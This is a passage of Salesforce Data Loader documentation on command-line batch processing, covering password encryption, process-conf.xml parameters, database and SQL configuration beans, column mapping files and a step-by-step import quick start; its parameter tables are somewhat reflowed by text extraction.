In versions 8.0 and later, installing the Data Loader creates several directories under the installation directory. The following directories are involved in running the program from the command line for automated batch processing: bin Contains the batch files encrypt.bat for encrypting passwords and process.bat for running batch processes. For information on running the Data Loader from the command line, see Using the Command Line Interface on page 795. conf The default configuration directory. Contains the configuration files config.properties, Loader.class, and log-conf.xml. The config.properties file that is generated when you modify the Settings dialog in the graphical user interface is located at C:\Documents and Settings\your Windows username\Application Data\salesforce.com\Data Loader version_number. You can copy this file to the conf installation directory to use it for batch processes. samples Contains subdirectories of sample files for reference. File Path Convention The file paths provided in these topics start one level below the installation directory. For example, \bin means C:\Program Files \salesforce.com\Data Loader version_number\bin, provided you accepted the default installation directory. If you installed the program to a different location, please substitute that directory path as appropriate.

793

Data Management

Encrypting From the Command Line

Encrypting From the Command Line


When running the Data Loader in batch mode from the command line, you must encrypt the following configuration parameters:
sfdc.password sfdc.proxyPassword

Use the utility described below to perform encryption. Using the Encryption Utility The Data Loader offers an encryption utility to secure passwords specified in configuration files. To use the encryption utility: 1. Run \bin\encrypt.bat. 2. At the command line, follow the prompts provided to execute the following actions: Generate a key Key text is generated onscreen from the text you provide. Carefully copy the key text to a key file, omitting any leading or trailing spaces. The key file can then be used for encryption and decryption. Encrypt text Generates an encrypted version of a password or other text. Optionally, you can provide a key file for the encryption. In the configuration file, make sure that the encrypted text is copied precisely and the key file is mentioned. Verify encrypted text Given encrypted and decrypted versions of a password, verifies whether the encrypted password provided matches its decrypted version. A success or failure message is printed to the command line.

Upgrading Your Batch Mode Interface


The batch mode interface in versions 8.0 and later of the Data Loader are not backwards-compatible with earlier versions. If you are using a version earlier than 8.0 to run batch processes, your options are as follows: Maintain the old version for batch use Do not uninstall your old version of the Data Loader. Continue to use that version for batch processes. You cannot take advantage of newer features such as database connectivity, but your integrations will continue to work. Optionally, install the new version alongside the old version and dedicate the old version solely to batch processes. Generate a new config.properties file from the new GUI If you originally generated your config.properties file from the graphical user interface, use the new version to set the same properties and generate a new file. Use this new file with the new batch mode interface. For more information, see Running in Batch Mode on page 792. Manually update your config.properties file If your old config.properties file was created manually, then you must manually update it for the new version. For more information, see Understanding Installed Directories and Files on page 793.

794

Data Management

Using the Command Line Interface

Using the Command Line Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

For automated batch operations such as nightly scheduled loads and extractions, run Data Loader from the command line. Before running any batch operation, be sure to include your encrypted password in the configuration file. For more information, see Encrypting From the Command Line on page 794. From the command line, navigate into the bin directory and type process.bat, which takes the following parameters: The directory containing config.properties. The name of the batch process bean contained in process-conf.xml.

For more information about using process.bat, see Running Individual Batch Processes on page 810. To view tips and instructions, add -help to the command contained in process.bat. Data Loader runs whatever operation, file, or map is specified in the configuration file that you specify. If you do not specify a configuration directory, the current directory is used. By default, Data Loader configuration files are installed at the following location:
C:\Program Files\salesforce.com\Data Loader version number\conf

You use the process-conf.xml file to configure batch processing. Set the name of the process in the bean element's id attribute: (for example <bean id="myProcessName">). For more information on batch mode, see Running in Batch Mode on page 792. If you want to implement enhanced logging, use a copy of log-conf.xml. You can change parameters at runtime by giving param=value as program arguments. For example, adding process.operation=insert to the command changes the configuration at runtime. You can set the minimum and maximum heap size. For example, -Xms256m -Xmx256m sets the heap size to 256 MB. Note: These topics only apply to Data Loader version 8.0 and later.

Tip: If you experience login issues in the command line interface after upgrading to a new version of Data Loader, please try re-encrypting your password to solve the problem. For information on the password encryption utility, see Encrypting From the Command Line on page 794.

Configuring Batch Processes


Use \samples\conf\process-conf.xml to configure your Data Loader processes, which are represented by ProcessRunner beans. A process should have ProcessRunner as the class attribute and the following properties set in the configuration file:

795

Data Management

Data Loader Process Configuration Parameters

name Sets the name of the ProcessRunner bean. This value is also used as the non-generic thread name and for configuration backing files (see below). configOverrideMap A property of type map where each entry represents a configuration setting: the key is the setting name; the value is the setting value. enableLastRunOutput If set to true (the default), output files containing information about the last run, such as sendAccountsFile_lastrun.properties, are generated and saved to the location specified by lastRunOutputDirectory. If set to false, the files are not generated or saved. lastRunOutputDirectory The directory location where output files containing information about the last run, such as sendAccountsFile_lastrun.properties, are written. The default value is \conf. If enableLastRunOutput is set to false, this value is not used because the files are not generated. The configuration backing file stores configuration parameter values from the last run for debugging purposes, and is used to load default configuration parameters in config.properties. The settings in configOverrideMap take precedence over those in the configuration backing file. The configuration backing file is managed programmatically and does not require any manual edits. For the names and descriptions of available process configuration parameters, see Data Loader Process Configuration Parameters on page 796.

Data Loader Process Configuration Parameters


When running Data Loader from the command line, you can specify the following configuration parameters in the process-conf.xml file. In some cases, the parameter is also represented in the graphical user interface at Settings > Settings. Tip: A sample process-conf.xml file can be found in the \samples directory that's installed with Data Loader.

Parameter Name

Data Type

Equivalent Option in Settings Dialog

Description

Select this option to force files to open in UTF-8


Read all encoding, even if they were saved in a different CSVs with format. UTF-8 encoding Sample value: true Write all Select this option to force files to be written in CSVs with UTF-8 encoding. UTF-8 encoding Sample value: true

dataAccess.readUTF8

boolean

dataAccess.writeUTF8

boolean

796

Data Management

Data Loader Process Configuration Parameters

Parameter Name

Data Type

Equivalent Option in Settings Dialog

Description

dataAccess.name

string

Not applicable (N/A)

Name of the data source to use, such as a CSV file name. For databases, use the name of the database configuration in database-conf.xml. Sample value:
c:\dataloader\data\extractLead.csv

Number of records read from the database at a time. The maximum value is 200.
dataAccess.readBatchSize

integer

N/A

Sample value: 50 Standard or custom data source type. Standard types are csvWriter, csvRead, databaseWrite, and databaseRead.

dataAccess.type

string

N/A

Sample value: csvWrite Number of records written to the database at a time. The maximum value is 2,000. Note the implication for a large parameter value: if an error occurs, all records in the batch are rolled back. In contrast, if the value is set to 1, each record is processed individually (not in batch) and errors are specific to a given record. We recommend setting the value to 1 when you need to diagnose problems with writing to a database.

dataAccess.writeBatchSize

integer

N/A

Sample value: 500

process.enableExtractSuccessOutput

boolean

Generate Select this option to generate success and error status files when exporting data. files for Sample value: true exports

When running Data Loader in batch mode, you can disable the generation of output files such as sendAccountsFile_lastRun.properties. Files of this type are saved by default to the conf directory. To stop the writing of these files, set this option to false. Alternatively, you can change the location of the directory where these files are saved, using process.lastRunOutputDirectory.
process.enableLastRunOutput

boolean

N/A

Sample value: true

797

Data Management

Data Loader Process Configuration Parameters

Parameter Name

Data Type

Equivalent Option in Settings Dialog

Description

process.encryptionKeyFile

string (file name)

Name of the file that contains the encryption key. See Encrypting From the Command Line on page 794. N/A Sample value: c:\dataloader\conf\my.key The initial setting for the
process.lastRunDate parameter, which can

be used in a SQL string and is automatically updated when a process has run successfully. For an explanation of the date format syntax, see Date Formats on page 783. Format must be
yyyy-MM-ddTHH:mm:ss.SSS+/-HHmm. For process.initialLastRunDate

date

N/A

example: 2006-04-13T13:50:32.423-0700 When running Data Loader in batch mode, you can change the location where output files such as
sendAccountsFile_lastRun.properties

are written. Files of this type are saved by default to the \conf directory. To change the location, change the value of this option to the full path where the output files should be written. string (directory) N/A Alternatively, you can stop the files from being written, using process.enableLastRunOutput. If your last operation failed, you can use this setting to begin where the last successful operation finished.
process.loadRowToStartAt

process.lastRunOutputDirectory

number

Start at row

Sample value: 1008 Name of the field mapping file to use. See Mapping Columns on page 809. Sample value:

process.mappingFile

string (file name)

N/A

c:\dataloader\conf\accountExtractMap.sdl

The operation to perform. See Data Loader Command Line Operations on page 804.
process.operation

string

N/A

Sample value: extract The directory where success and error output files are saved. The file names are automatically

process.statusOutputDirectory

string (directory) N/A

798

Data Management

Data Loader Process Configuration Parameters

Parameter Name

Data Type

Equivalent Option in Settings Dialog

Description

generated for each operation unless you specify otherwise in process-conf.xml. Sample value: c:\dataloader\status The name of the CSV file that stores error data from the last operation. Sample value: N/A
c:\dataloader\status\myProcessErrors.csv

process.outputError

string (file name)

The name of the CSV file that stores success data from the last operation. See also
process.enableExtractSuccessOutput

process.outputSuccess

string (file name)

on page 797. Sample value: N/A


Use European date format c:\dataloader\status\myProcessSuccesses.csv

Select this option to support the date formats dd/MM/yyyy and dd/MM/yyyy HH:mm:ss. Sample value: true Specify the ID of the assignment rule to use for inserts, updates, and upserts. This option applies to inserts, updates, and upserts on cases and leads. It also applies to updates on accounts if your organization has territory assignment rules on accounts. The assignment rule overrides Owner values in your CSV file.

process.useEuropeanDates

boolean

sfdc.assignmentRule

string

Assignment Sample value: 03Mc00000026J7w rule

The number of milliseconds to wait between successive checks to determine if the asynchronous Bulk API operation is complete or how many records have been processed. See also sfdc.useBulkApi. We recommend a value of 5000.
sfdc.bulkApiCheckStatusInterval

integer

N/A
Enable serial mode for Bulk API

Sample value: 5000 Select this option to use serial instead of parallel processing for the Bulk API. Processing in parallel can cause database contention. When this is severe, the load may fail. Using serial mode guarantees that batches are processed one at a

sfdc.bulkApiSerialMode

boolean

799

Data Management

Data Loader Process Configuration Parameters

Parameter Name

Data Type

Equivalent Option in Settings Dialog

Description

time. Note that using this option may significantly increase the processing time for a load. See also sfdc.useBulkApi. Sample value: false Select this option to use the Bulk API to upload zip files containing binary attachments, such as Attachment records or Salesforce CRM Content. See also sfdc.useBulkApi. Sample value: true The number of seconds to wait for a connection during API calls.
sfdc.connectionTimeoutSecs

sfdc.bulkApiZipContent

boolean

Upload Bulk API Batch as Zip File

integer

N/A

Sample value: 60 If true, enables SOAP message debugging. By default, messages are sent to STDOUT unless you specify an alternate location in sfdc.debugMessagesFile.

sfdc.debugMessages

boolean

N/A

Sample value: false See


process.enableExtractSuccessOutput

sfdc.debugMessagesFile

string (file name)

on page 797. Stores SOAP messages sent to or from Salesforce. As messages are sent or received, they are appended to the end of the file. As the file does not have a size limit, please monitor your available disk storage appropriately. Sample value: N/A
\lexiloader\status\sfdcSoapTrace.log

If true, enables repeated attempts to connect to Salesforce servers. See sfdc.maxRetries on page 802 and sfdc.minRetrySleepSecs on page 802.
sfdc.enableRetries

boolean

N/A

Sample value: true Enter the URL of the Salesforce server with which you want to communicate. For example, if you are loading data into a sandbox, change the URL to https://test.salesforce.com.

sfdc.endpoint

URL

Server host

800

Data Management

Data Loader Process Configuration Parameters

Parameter Name

Data Type

Equivalent Option in Settings Dialog

Description

Sample production value:


https://login.salesforce.com/services/Soap/u/23.0

The Salesforce object used in the operation.


sfdc.entity

string

N/A

Sample value: Lead Used in upsert operations; specifies the custom field with the External ID attribute that is used as a unique identifier for data matching. For more information about external IDs, see Custom Field Attributes on page 988.

sfdc.externalIdField

string

N/A

Sample value: LegacySKU__c In a single export or query operation, records are returned from Salesforce in increments of this size. The maximum value is 2,000 records. Larger values may improve performance but use more memory on the client. Sample value: 500 The SOQL query for the data export. For more information on SOQL, see the Web Services API Developer's Guide. Sample value: SELECT Id, LastName,
FirstName, Rating, AnnualRevenue, OwnerId FROM Lead

sfdc.extractionRequestSize

integer

Query request size

sfdc.extractionSOQL

string

N/A

sfdc.insertNulls

boolean

Insert null values

Select this option to insert blank mapped values as null values during data operations. Note that when you are updating records, this option instructs the Data Loader to overwrite any existing data in mapped fields. Sample value: false In a single insert, update, upsert, or delete operation, records moving to or from Salesforce are processed in increments of this size. The maximum value is 200. We recommend a value between 50 and 100.

sfdc.loadBatchSize

integer

Batch size

Sample value: 100

801

Data Management

Data Loader Process Configuration Parameters

Parameter Name

Data Type

Equivalent Option in Settings Dialog

Description

The maximum number of repeated attempts to connect to Salesforce. See sfdc.enableRetries on page 800.
sfdc.maxRetries

integer

N/A

Sample value: 3 The minimum number of seconds to wait between connection retries. The wait time increases with each try. See sfdc.enableRetries on page 800.

sfdc.minRetrySleepSecs

integer

N/A

Sample value: 2 Compression enhances the performance of the Data Loader and is turned on by default. You may want to disable compression if you need to debug the underlying SOAP messages. To turn off compression, enable this option.

sfdc.noCompression

boolean

Compression Sample value: false

sfdc.password

encrypted string N/A

An encrypted Salesforce password that corresponds to the username provided in sfdc.username. See also Encrypting From the Command Line on page 794. Sample value: 4285b36161c65a22 The host name of the proxy server, if applicable.

sfdc.proxyHost

URL

Proxy host

Sample value:
http://myproxy.internal.company.com

sfdc.proxyPassword

encrypted Proxy string password


Proxy port Proxy username

An encrypted password that corresponds to the proxy username provided in sfdc.proxyUsername. See also Encrypting From the Command Line on page 794. Sample value: 4285b36161c65a22 The proxy server port.

sfdc.proxyPort

integer

Sample value: 8000 The username for proxy server authentication.

sfdc.proxyUsername

string boolean

Sample value: jane.doe

sfdc.resetUrlOnLogin

Reset URL By default, Salesforce resets the URL after login on Login to the one specified in sfdc.endpoint. To turn

802

Data Management

Data Loader Process Configuration Parameters

Parameter Name

Data Type

Equivalent Option in Settings Dialog

Description

off this automatic reset, disable this option by setting it to false. Valid values: true (default), false Specify how many seconds the Data Loader waits to receive a response back from the server before returning an error for the request.
sfdc.timeoutSecs

integer

Timeout

Sample value: 540 If a date value does not include a time zone, this value is used. If no value is specified, the time zone of the computer where Data Loader is installed is used. If an incorrect value is entered, GMT is used as the time zone and this fact is noted in the Data Loader log.

Valid values are any time zone identifier which can be passed to the Java getTimeZone(java.lang.String) method. The value can be a full name such as America/Los_Angeles, or a custom ID such as GMT-8:00. You can retrieve the default value by running the TimeZone.getDefault() method in Java. This value is the time zone on the computer Time Zone where Data Loader is installed. Select this option to truncate data in the following types of fields when loading that data into Salesforce: Email, Multi-select Picklist, Phone, Picklist, Text, and Text (Encrypted). In Data Loader versions 14.0 and earlier, values for fields of those types are truncated by the Data Loader if they are too large. In Data Loader version 15.0 and later, the load operation fails if a value is specified that is too large.
Allow Selecting this option allows you to specify that field the previous behavior, truncation, be used instead truncation of the new behavior in Data Loader versions 15.0

sfdc.timezone

string

sfdc.truncateFields

boolean

803

Data Management

Data Loader Command Line Operations

Parameter Name

Data Type

Equivalent Option in Settings Dialog

Description

and later. This option is selected by default and has no effect in versions 14.0 and earlier. This option is not available if the Use Bulk API option is selected. In that case, the load operation fails for the row if a value is specified that is too large for the field. Sample value: true Select this option to use the Bulk API to insert, update, upsert, delete, and hard delete records. The Bulk API is optimized to load or delete a large number of records asynchronously. It is faster than the default SOAP-based API due to parallel processing and fewer network round-trips. See also sfdc.bulkApiSerialMode.
sfdc.useBulkApi

boolean

Use Bulk API

Sample value: true Salesforce username. See sfdc.password.

sfdc.username

string

N/A

Sample value: jdoe@mycompany.com

Data Loader Command Line Operations


When running the Data Loader in batch mode from the command line, several operations are supported. An operation represents the flow of data between Salesforce and an external data source such as a CSV file or a database. See the following list of operation names and descriptions. Extract Uses a Salesforce Object Query Language (SOQL) string to export a set of records from Salesforce, then writes the exported data to a data source. Soft-deleted records are not included. Extract All Uses a Salesforce Object Query Language (SOQL) string to export a set of records from Salesforce, including both existing and soft-deleted records, then writes the exported data to a data source. Insert Loads data from a data source into Salesforce as new records. Update Loads data from a data source into Salesforce, where existing records with matching ID fields are updated.

804

Data Management

Configuring Database Access

Upsert Loads data from a data source into Salesforce, where existing records with a matching custom external ID field are updated; records without matches are inserted as new records. Delete Loads data from a data source into Salesforce, where existing records with matching ID fields are deleted. Hard Delete Loads data from a data source into Salesforce, where existing records with matching ID fields are deleted without being stored first in the Recycle Bin.

Configuring Database Access


When you run Data Loader in batch mode from the command line, use \samples\conf\database-conf.xml to configure database access objects, which you use to extract data directly from a database. DatabaseConfig Bean The top-level database configuration object is the DatabaseConfig bean, which has the following properties: sqlConfig The SQL configuration bean for the data access object that interacts with a database. dataSource The bean that acts as database driver and authenticator. It must refer to an implementation of javax.sql.DataSource such as org.apache.commons.dbcp.BasicDataSource. The following code is an example of a DatabaseConfig bean:
<bean id="AccountInsert" class="com.salesforce.dataloader.dao.database.DatabaseConfig" singleton="true"> <property name="sqlConfig" ref="accountInsertSql"/> </bean>

DataSource The DataSource bean sets the physical information needed for database connections. It contains the following properties: driverClassName The fully qualified name of the implementation of a JDBC driver. url The string for physically connecting to the database. username The username for logging in to the database. password The password for logging in to the database. Depending on your implementation, additional information may be required. For example, use org.apache.commons.dbcp.BasicDataSource when database connections are pooled.

805

Data Management

Configuring Database Access

The following code is an example of a DataSource bean:


<bean id="oracleRepDataSource" class="org.apache.commons.dbcp.BasicDataSource" destroy-method="close"> <property name="driverClassName" value="oracle.jdbc.driver.OracleDriver"/> <property name="url" value="jdbc:oracle:thin:@myserver.salesforce.com:1521:TEST"/> <property name="username" value="test"/> <property name="password" value="test"/> </bean>

See Also:
Spring Framework Overview Data Access Objects SQL Configuration

Spring Framework Overview


The Data Loader configuration files are based on the Spring Framework, which is an open source full-stack Java/J2EE application framework. The Spring Framework allows you to use XML files to configure beans. Each bean represents an instance of an object; the parameters correspond to each object's setter methods. A typical bean has the following attributes: id Uniquely identifies the bean to XmlBeanFactory, which is the class that gets objects from an XML configuration file. class Specifies the implementation class for the bean instance. For more information on the Spring Framework, see the official documentation and the support forums. Note that salesforce.com cannot guarantee the availability or accuracy of external websites.

See Also:
Configuring Database Access

Data Access Objects


When running the Data Loader in batch mode from the command line, several data access objects are supported. A data access object allows access to an external data source outside of Salesforce. They can implement a read interface (DataReader), a write interface (DataWriter), or both. See the following list of object names and descriptions. csvRead Allows the reading of a comma or tab-delimited file. There should be a header row at the top of the file that describes each column.

806

Data Management

Configuring Database Access

csvWrite Allows writing to a comma or tab-delimited file. A header row is added to the top of the file based on the column list provided by the caller. databaseRead Allows the reading of a database. Use database-conf.xml to configure database access. For more information, see Configuring Database Access on page 805. databaseWrite Allows writing to a database. Use database-conf.xml to configure database access. For more information, see Configuring Database Access on page 805.

See Also:
Configuring Database Access

SQL Configuration
When running the Data Loader in batch mode from the command line, the SqlConfig class contains configuration parameters for accessing specific data in the database. As shown in the code samples below, queries and inserts are different but very similar. The bean must be of type com.salesforce.dataloader.dao.database.SqlConfig and have the following properties:
sqlString

The SQL code to be used by the data access object. The SQL can contain replacement parameters that make the string dependent on configuration or operation variables. Replacement parameters must be delimited on both sides by @ characters. For example, @process.lastRunDate@.
sqlParams

A property of type map that contains descriptions of the replacement parameters specified in sqlString. Each entry represents one replacement parameter: the key is the replacement parameter's name, the value is the fully qualified Java type to be used when the parameter is set on the SQL statement. Note that java.sql types are sometimes required, such as java.sql.Date instead of java.util.Date. For more information, see the official JDBC API documentation.
columnNames

Used when queries (SELECT statements) return a JDBC ResultSet. Contains column names for the data outputted by executing the SQL. The column names are used to access and return the output to the caller of the DataReader interface. SQL Query Bean Example
<bean id="accountMasterSql" class="com.salesforce.dataloader.dao.database.SqlConfig" singleton="true"> <property name="sqlString"/> <value> SELECT distinct '012x00000000Ij7' recordTypeId, accounts.account_number,

807

Data Management

Configuring Database Access

org.organization_name, concat (concat(parties.address1, ' '), parties.address2) billing_address, locs.city, locs.postal_code, locs.state, locs.country, parties.sic_code from ar.hz_cust_accounts accounts, ar.hz_organization_profiles org, ar.hz_parties parties, ar.hz_party_sites party_sites, ar.hz_locations locs where accounts.PARTY_ID = org.PARTY_ID and parties.PARTY_ID = accounts.PARTY_ID and party_sites.PARTY_ID = accounts.PARTY_ID and locs.LOCATION_ID = party_sites.LOCATION_ID and (locs.last_update_date > @process.lastRunDate@ OR accounts.last_update_date > @process.lastRunDate@ </value> </property> <property name="columNames"> <list> <value>recordTypeId</value> <value>account_number</value> <value>organization_name</value> <value>billing_address</value> <value>city</value> <value>postal_code</value> <value>state</value> <value>country</value> <value>sic_code</value> </list> </property> <property name="sqlParams"> <map> <entry key="process.lastRunDate" value="java.sql.Date"/> </map> </property> </bean>

SQL Insert Bean Example


<bean id="partiesInsertSql" class="com.salesforce.dataloader.dao.database.SqlConfig" singleton="true"> <property name="sqlString"/> <value> INSERT INTO REP.INT_PARTIES ( BILLING_ADDRESS, SIC_CODE) VALUES (@billing_address@, @sic_code@) </value> </property> <property name="sqlParams"/> <map> <entry key="billing_address" value="java.lang.String"/> <entry key="sic_code" value="java.lang.String"/> </map>

808

Data Management

Mapping Columns

</property> </bean>

See Also:
Configuring Database Access

Mapping Columns
When running the Data Loader in batch mode from the command line, you must create a properties file that maps values between Salesforce and data access objects. 1. Create a new mapping file and give it an extension of .sdl. 2. Observe the following syntax: On each line, pair a data source with its destination. In an import file, put the data source on the left, an equals sign (=) as a separator, and the destination on the right. In an export file, put the destination on the left, an equals sign (=) as a separator, and the data source on the right. Data sources can be either column names or constants. Surround constants with double quotation marks, as in sampleconstant. Values without quotation marks are treated as column names. Destinations must be column names. You may map constants by surrounding them with double quotation marks, as in "United States"=BillingCountry.

3. In your configuration file, use the parameter process.mappingFile to specify the name of your mapping file. Column Mapping Example for Data Insert The Salesforce fields are on the right.
SLA__C=SLA__c BILLINGCITY=BillingCity SYSTEMMODSTAMP= OWNERID=OwnerId CUSTOMERPRIORITY__C=CustomerPriority__c ANNUALREVENUE=AnnualRevenue DESCRIPTION=Description BILLINGSTREET=BillingStreet SHIPPINGSTATE=ShippingState

Column Mapping Example for Data Export The Salesforce fields are on the left.
Id=account_number Name=name Phone=phone

Column Mapping for Constant Values Data Loader supports the ability to assign constants to fields when you insert, update, and export data. If you have a field that should contain the same value for each record, you specify that constant in the .sdl mapping file instead of specifying the field and value in the CSV file or the export query.

809

Data Management

Running Individual Batch Processes

The constant must be enclosed in double quotation marks. For example, if youre importing data, the syntax is "constantvalue"=field1. If you have multiple fields that should contain the same value, you must specify the constant and the field names separated by commas. For example, if youre importing data, the syntax would be "constantvalue"=field1, field2. Heres an example of an .sdl file for inserting data. The Salesforce fields are on the right. The first two lines map a data source to a destination field, and the last three lines map a constant to a destination field.
Name=Name NumEmployees=NumberOfEmployees "Aerospace"=Industry "California"=BillingState, ShippingState "New"=Customer_Type__c

A constant must contain at least one alphanumeric character. If you specify a constant value that contains spaces, the spaces are removed when the field data is imported or exported.

Running Individual Batch Processes


To start an individual batch process use \bin\process.bat, which requires the following parameters: A configuration directory The default is \conf. To use an alternate directory, create a new directory and add the following files to it: If your process is not interactive, copy process-conf.xml from \samples\conf. If your process requires database connectivity, copy database-conf.xml from \samples\conf. Copy config.properties from \conf.

A process name The name of the ProcessRunner bean from \samples\conf\process-conf.xml. Process Example
process ../conf accountMasterProcess

Note: You can configure external process launchers such as the Microsoft Windows XP Scheduled Task Wizard to run processes on a schedule.

COMMAND LINE QUICK START


Introduction

810

Data Management

Introduction

Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Watch a Demo (5:21 minutes) In addition to using Data Loader interactively to import and export data, you can also run it from the command line. This enables you to automate the import and export of data. This quick start shows you how to use the Data Loader command line functionality to import data. You'll follow these steps: Step 1: Create the encryption key Step 2: Create the encrypted password for your login username Step 3: Create the Field Mapping File Step 4: Create a process-conf.xml file that contains the import configuration settings Step 5: Run the process and import the data

See Also:
Prerequisites

Prerequisites
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

To step through this quick start, you should have the following: Data Loader installed on the computer that runs the command line process. The Java Runtime Environment (JRE) installed on the computer that runs the command line process. Familiarity with importing and exporting data by using the Data Loader interactively through the user interface. This makes it easier to understand how the command line functionality works. Tip: When you install Data Loader, sample files are installed in the samples directory. This directory is found below the program directory, for example, C:\Program Files (x86)\salesforce.com\Apex Data Loader 22.0\samples\. Examples of files that are used in this quick start can be found in the \samples\conf directory.

See Also:
Introduction Step One: Create the Encryption Key

Step One: Create the Encryption Key

811

Data Management

Step One: Create the Encryption Key

Available in: Enterprise, Unlimited, Developer, and Database.com Editions

When you use Data Loader from the command line, theres no user interface. Therefore, you'll need to provide the information that you would normally enter in the user interface by using a text file named process-conf.xml. For example, youll need to add to this file the username and password that Data Loader uses to log in to Salesforce. The password must be encrypted before you add it to the process-conf.xml file, and creating the key is the first step in that process. 1. Open a command prompt window by clicking Start > All Programs > Accessories > Command Prompt. Alternatively, you can click Start > Run, enter cmd in the Open field, and click OK. 2. In the command window enter cd\ to navigate to the root directory of the drive where Data Loader is installed. 3. Navigate to the Data Loader \bin directory by entering this command. Be sure to replace the file path with the path from your system.
cd C:\Program Files (x86)\salesforce.com\Apex Data Loader 22.0\bin

4. Create an encryption key by entering the following command. Replace <seedtext> with any string.
encrypt.bat g <seedtext>

Note: To see a list of command-line options for encrypt.bat, type encrypt.bat from the command line.

5. Copy the generated key from the command window to a text file named key.txt and make a note of the file path. In this example, the generated key is e8a68b73992a7a54. Note: Enabling quick edit mode on a command window can make it easier to copy data to and from the window. To enable quick edit mode, right-click the top of the window and select Properties. On the Options tab, select QuickEdit Mode.

See Also:
Introduction Step Two: Create the Encrypted Password

Step Two: Create the Encrypted Password

812

Data Management

Step Two: Create the Encrypted Password

Available in: Enterprise, Unlimited, Developer, and Database.com Editions

In this step, youll create the encrypted password using the key that you generated in the previous step. 1. In the same command prompt window, enter the following command. Replace <password>with the password that Data Loader uses to log in to Salesforce. Replace <filepath> with the file path to the key.txt file that you created in the previous step.
encrypt.bat e <password> "<filepath>\key.txt"

2. Copy the encrypted password that is generated by the command. You'll use this value in a later step.

See Also:
Introduction Step Three: Create the Field Mapping File

Step Three: Create the Field Mapping File


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

The field mapping file associates data sources with destinations. This is a text file, typically with an .sdl file extension. 1. Copy the following to a text file and save it with a name of accountInsertMap.sdl. This is a data insert so the data source is on the left of the equals sign and the destination field is on the right.
#Mapping values #Thu May 26 16:19:33 GMT 2011 Name=Name NumberOfEmployees=NumberOfEmployees Industry=Industry

813

Data Management

Step Four: Create the Configuration File

Tip: For complex mappings, you can use the Data Loader user interface to map source and destination fields and then save those mappings to an .sdl file. This is done on the Mapping dialog box by clicking Save Mapping.

See Also:
Introduction Step Four: Create the Configuration File

Step Four: Create the Configuration File


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

The process-conf.xml file contains the information that Data Loader needs to process the data. Each <bean> in the process-conf.xml file refers to a single process such as an insert, upsert, export, and so on. Therefore, this file can contain multiple processes. In this step, you'll edit the file to insert accounts into Salesforce. 1. Make a copy of the process-conf.xml file from the \samples\conf directory. Be sure to maintain a copy of the original because it contains examples of other types of Data Loader processing such as upserts and exports. 2. Open the file in a text editor and replace the contents with the following XML:
<!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN" "http://www.springframework.org/dtd/spring-beans.dtd"> <beans> <bean id="accountInsert" class="com.salesforce.dataloader.process.ProcessRunner" singleton="false"> <description>accountInsert job gets the account record from the CSV file and inserts it into Salesforce.</description> <property name="name" value="accountInsert"/> <property name="configOverrideMap"> <map> <entry key="sfdc.debugMessages" value="true"/> <entry key="sfdc.debugMessagesFile" value="C:\DLTest\Log\accountInsertSoapTrace.log"/> <entry key="sfdc.endpoint" value="https://servername.salesforce.com"/> <entry key="sfdc.username" value="admin@Org.org"/> <!--Password below has been encrypted using key file, therefore, it will not work without the key setting: process.encryptionKeyFile. The password is not a valid encrypted value, please generate the real value using the encrypt.bat utility --> <entry key="sfdc.password" value="e8a68b73992a7a54"/> <entry key="process.encryptionKeyFile" value="C:\DLTest\Command Line\Config\key.txt"/> <entry key="sfdc.timeoutSecs" value="600"/> <entry key="sfdc.loadBatchSize" value="200"/> <entry key="sfdc.entity" value="Account"/> <entry key="process.operation" value="insert"/> <entry key="process.mappingFile" value="C:\DLTest\Command Line\Config\accountInsertMap.sdl"/> <entry key="dataAccess.name" value="C:\DLTest\In\insertAccounts.csv"/> <entry key="process.outputSuccess" value="c:\DLTest\Log\accountInsert_success.csv"/>

814

Data Management

Step Four: Create the Configuration File

<entry key="process.outputError" value="c:\DLTest\Log\accountInsert_error.csv"/> <entry key="dataAccess.type" value="csvRead"/> <entry key="process.initialLastRunDate" value="2005-12-01T00:00:00.000-0800"/> </map> </property> </bean>

3. Modify the following parameters in the process-conf.xml file. For more information about the process configuration parameters, see Data Loader Process Configuration Parameters on page 796.
sfdc.endpointEnter the URL of the Salesforce instance for your organization; for example, https://na1.salesforce.com. sfdc.usernameEnter the username Data Loader uses to log in. sfdc.passwordEnter the encrypted password value that you created in step 2. process.mappingFileEnter the path and file name of the mapping file. dataAccess.NameEnter the path and file name of the data file that contains the accounts that you want to import. sfdc.debugMessagesCurrently set to true for troubleshooting. Set this to false after your import is up and

running.
sfdc.debugMessagesFileEnter the path and file name of the command line log file. process.outputSuccessEnter the path and file name of the success log file. process.outputErrorEnter the path and file name of the error log file.

Caution: Use caution when using different XML editors to edit the process-conf.xml file. Some editors add XML tags to the beginning and end of the file which will cause the import to fail.

See Also:
Introduction Step Five: Import the Data

Step Five: Import the Data

815

Data Management

Step Five: Import the Data

Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To insert records: To update records: To upsert records: To delete records: To hard delete records: Create on the record Edit on the record Create or Edit on the record Delete on the record Delete on the record

Now that all the pieces are in place, you can run Data Loader from the command line and insert some new accounts. 1. Copy the following data to a file name accountInsert.csv. This is the account data that you'll import into your organization.
Name,Industry,NumberOfEmployees Dickenson plc,Consulting,120 GenePoint,Biotechnology,265 Express Logistics and Transport,Transportation,12300 Grand Hotels & Resorts Ltd,Hospitality,5600

2. In the command prompt window, enter the following command:


process.bat "<file path to process-conf.xml>" <process name>

Replace <file path to process-conf.xml> with the path to the directory containing process-conf.xml. Replace <process name> with the process specified in process-conf.xml.

Your command should look something like this:


process.bat "C:\DLTest\Command Line\Config" accountInsert

After the process runs, the command prompt window displays success and error messages. You can also check the log files: insertAccounts_success.csv and insertAccounts_error.csv. After the process runs successfully, the insertAccounts_success.csv file will contain the records that you imported along with the ID and status of each record. For more information about the status files, see Reviewing Output Files on page 791

See Also:
Introduction

Data Loader Third-Party Licenses

816

Data Management

Data Loader Third-Party Licenses

Available in: Enterprise, Unlimited, Developer, and Database.com Editions

